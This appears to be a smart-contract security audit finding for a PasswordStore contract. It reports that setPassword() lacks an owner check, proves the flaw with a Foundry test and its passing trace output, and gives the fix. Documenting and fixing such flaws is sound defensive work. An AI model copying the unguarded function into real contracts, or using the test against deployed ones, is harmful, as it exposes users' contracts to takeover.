Summary
Another addresses which are not the owner can call set new password.
Vulnerability Details
In setPassword() they forgot to check if the msg.sender is s_owner or not
function setPassword(string memory newPassword) external {
s_password = newPassword;
emit SetNetPassword();
}
POC:
function test_other_can_set_password() public {
vm.startPrank(address(2));
string memory expectedPassword = "helloworld";
passwordStore.setPassword(expectedPassword);
vm.startPrank(owner);
string memory actualPassword = passwordStore.getPassword();
assertEq(actualPassword, expectedPassword);
}
Output:
[⠢] Compiling...
[⠢] Compiling 1 files with 0.8.18
[⠆] Solc 0.8.18 finished in 956.46ms
Compiler run successful!
Running 1 test for test/PasswordStore.t.sol:PasswordStoreTest
[PASS] test_other_can_set_password() (gas: 22471)
Traces:
[22471] PasswordStoreTest::test_other_can_set_password()
├─ [0] VM::startPrank(0x0000000000000000000000000000000000000002)
│ └─ ← ()
├─ [6686] PasswordStore::setPassword(helloworld)
│ ├─ emit SetNetPassword()
│ └─ ← ()
├─ [0] VM::startPrank(DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38])
│ └─ ← ()
├─ [3320] PasswordStore::getPassword() [staticcall]
│ └─ ← helloworld
└─ ← ()
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.45ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
Everyone can call setPassword()
Tools Used
Foundry
Recommendations
Check if the msg.sender is s_owner or not
function setPassword(string memory newPassword) external {
+ if (msg.sender != s_owner) {
+ revert PasswordStore__NotOwner();
+ }
s_password = newPassword;
emit SetNetPassword();
}